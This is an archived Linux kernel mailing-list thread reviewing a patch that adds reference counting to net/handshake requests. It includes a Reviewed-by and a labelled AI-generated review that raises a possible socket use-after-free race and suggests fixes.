EXPORT_SYMBOL(tls_handshake_close);
--
2.43.0
^ permalink raw reply related [flat|nested] 4+ messages in thread* Re: [PATCH net 1/1] net/handshake: Protect request hash lookups
2026-09-20 17:04 ` [PATCH net 1/1] " Ren Wei
@ 2026-09-20 18:41 ` Chuck Lever
2026-09-24 1:57 ` Jakub Kicinski
1 sibling, 0 replies; 4+ messages in thread
From: Chuck Lever @ 2026-09-20 18:41 UTC (permalink / raw)
To: Ren Wei
Cc: kernel-tls-handshake, netdev, davem, edumazet, kuba, pabeni,
horms, vega, sashiko-bot, rakukuip
On Mon, Sep 21, 2026 at 01:04:13AM +0800, Ren Wei wrote:
> Fix these races by introducing a kref reference count and rcu_head to
> struct handshake_req. handshake_req_hash_lookup() now safely acquires a
> reference using kref_get_unless_zero() under rcu_read_lock(). Likewise,
> handshake_req_next() acquires a reference under hn_lock, and callers
> release their references using handshake_req_put(). Releasing the final
> reference in handshake_req_put() frees the request via kfree_rcu().
Reviewed-by: Chuck Lever <cel@kernel.org>
--
Chuck Lever (Come to NFS bake-a-thon! https://nfsv4bat.org)
^ permalink raw reply [flat|nested] 4+ messages in thread
* Re: [PATCH net 1/1] net/handshake: Protect request hash lookups
2026-09-20 17:04 ` [PATCH net 1/1] " Ren Wei
2026-09-20 18:41 ` Chuck Lever
@ 2026-09-24 1:57 ` Jakub Kicinski
1 sibling, 0 replies; 4+ messages in thread
From: Jakub Kicinski @ 2026-09-24 1:57 UTC (permalink / raw)
To: weir
Cc: Jakub Kicinski, kernel-tls-handshake, netdev, cel, davem,
edumazet, pabeni, horms, vega, sashiko-bot, rakukuip
This is an AI-generated review of your patch. The human sending this
email has considered the AI review valid, or at least plausible.
---
net/handshake: Protect request hash lookups
This patch adds a kref and an rcu_head to struct handshake_req.
handshake_req_hash_lookup() and handshake_req_next() now return a
counted reference, and callers release it with handshake_req_put(). The
final put frees the request via kfree_rcu().
Closes: https://sashiko.dev/#/patchset/20260521-handshake-file-pin-v2-0-b9dadc472040@oracle.com
Closes: https://sashiko.dev/#/patchset/20260525-handshake-file-pin-v3-0-66c616906ead@oracle.com
> diff --git a/net/handshake/netlink.c b/net/handshake/netlink.c
> index 3fd4fef9bab1a..da5d41e139a78 100644
> --- a/net/handshake/netlink.c
> +++ b/net/handshake/netlink.c
[ ... ]
> @@ -127,6 +128,7 @@ int handshake_nl_accept_doit(struct sk_buff *skb, struct genl_info *info)
> handshake_complete(req, -EIO, NULL);
> out_status:
> trace_handshake_cmd_accept_err(net, req, NULL, err);
> + handshake_req_put(req);
> return err;
> }
[Severity: High]
The commit message says:
If FD_PREPARE() or hp_accept() fails after a concurrent cancellation
or socket close has released the submit file pin, dropping the file pin
in handshake_nl_accept_doit() can trigger socket destruction
immediately, freeing the request before handshake_complete() or
trace_handshake_cmd_accept_err() completes.
The new kref keeps req alive during this window. Is req->hr_sk still
protected, though?
Both error paths in handshake_nl_accept_doit() drop the accept side file
reference before they reach handshake_complete():
FD_PREPARE(fdf, O_CLOEXEC, req->hr_file);
if (fdf.err) {
fput(req->hr_file); /* drop ref from handshake_req_next() */
err = fdf.err;
goto out_complete;
}
err = req->hr_proto->hp_accept(req, info, fd_prepare_fd(fdf));
if (err)
goto out_complete; /* Automatic cleanup handles fput */
handshake_req_next() now takes a kref on the request, but nothing takes
a reference on the sock. handshake_complete() then dereferences the sock
before it checks HANDSHAKE_F_REQ_COMPLETED:
net/handshake/request.c:handshake_complete() {
struct sock *sk = req->hr_sk;
struct net *net = sock_net(sk);
if (!test_and_set_bit(HANDSHAKE_F_REQ_COMPLETED, &req->hr_flags)) {
...
}
Can the following interleaving cause a use-after-free of the sock?
tlshd (accept) consumer (e.g. nvme-tcp)
handshake_req_next()
get_file(), kref_get()
tls_handshake_cancel()
handshake_req_cancel()
test_and_set_bit(COMPLETED)
fput(req->hr_file)
FD_PREPARE() fails (EMFILE)
fput(req->hr_file)
(or hp_accept() fails and the
FD_PREPARE cleanup does fput)
nvme_tcp_alloc_queue() err_sock:
__fput_sync(queue->sock->file)
sock_close()->tcp_close()->
...->handshake_sk_destruct()
(req survives on accept kref)
sk_destruct(sk) /* sock freed */
handshake_complete(req, -EIO, NULL)
sk = req->hr_sk;
sock_net(sk) /* reads freed sock */
The final fput runs synchronously on the consumer's thread. Deferring
tlshd's own fput through task_work would therefore not close this window.
One option is to keep the accept side file reference until after
handshake_complete(). Another is to take sock_hold(req->hr_sk) in
handshake_req_next() and drop it in handshake_nl_accept_doit(). A third
is to move the hr_sk and sock_net() dereference inside the
test_and_set_bit() branch of handshake_complete(). Would any of these
work here?
^ permalink raw reply [flat|nested] 4+ messages in thread
end of thread, other threads:[~2026-09-24 1:57 UTC | newest]
Thread overview: 4+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-09-20 17:04 [PATCH net 0/1] net/handshake: Protect request hash lookups Ren Wei
2026-09-20 17:04 ` [PATCH net 1/1] " Ren Wei
2026-09-20 18:41 ` Chuck Lever
2026-09-24 1:57 ` Jakub Kicinski
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox